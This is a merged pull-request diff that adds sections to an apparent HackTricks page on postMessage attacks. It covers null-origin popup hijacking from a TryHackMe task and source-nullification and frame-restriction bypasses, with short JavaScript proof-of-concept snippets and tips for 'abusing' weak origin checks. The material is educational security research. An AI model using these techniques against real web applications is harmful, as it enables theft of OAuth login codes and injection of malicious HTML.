Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,49 @@ The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**foll
</html>
```

### 2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

A recent TryHackMe task (“Vulnerable Codes”) demonstrates how OAuth popups can be hijacked when the opener lives inside a sandboxed iframe that only allows scripts and popups. The iframe forces both itself and the popup into a `"null"` origin, so handlers checking `if (origin !== window.origin) return` silently fail because `window.origin` inside the popup is also `"null"`. Even though the browser still exposes the real `location.origin`, the victim never inspects it, so attacker-controlled messages glide through.

```javascript
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
```

Takeaways for abusing that setup:

- Handlers that compare `origin` with `window.origin` inside the popup can be bypassed because both evaluate to `"null"`, so forged messages look legitimate.
- Sandboxed iframes that grant `allow-popups` but omit `allow-same-origin` still spawn popups locked to the attacker-controlled null origin, giving you a stable enclave even in 2025 Chromium builds.

### Source-nullification & frame-restriction bypasses

Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set `X-Frame-Options: DENY` by launching them via `window.open` and posting messages once the navigation settles, and (2) you can brute-force `event.source == victimFrame` checks by removing the iframe immediately after sending a message so that the receiver only sees `null` in the handler.

```javascript
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
```

Combine this with the DOM-clobbering trick above: once the receiver only sees `event.source === null`, any comparison against `window.calc.contentWindow` or similar collapses, letting you ship malicious HTML sinks through `innerHTML` again.

## References
- [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong)
- [THM Write-up: Vulnerable Codes](https://fatsec.medium.com/thm-write-up-vulnerable-codes-9ea8fe8464f9)

{{#include ../../banners/hacktricks-training.md}}


Expand Down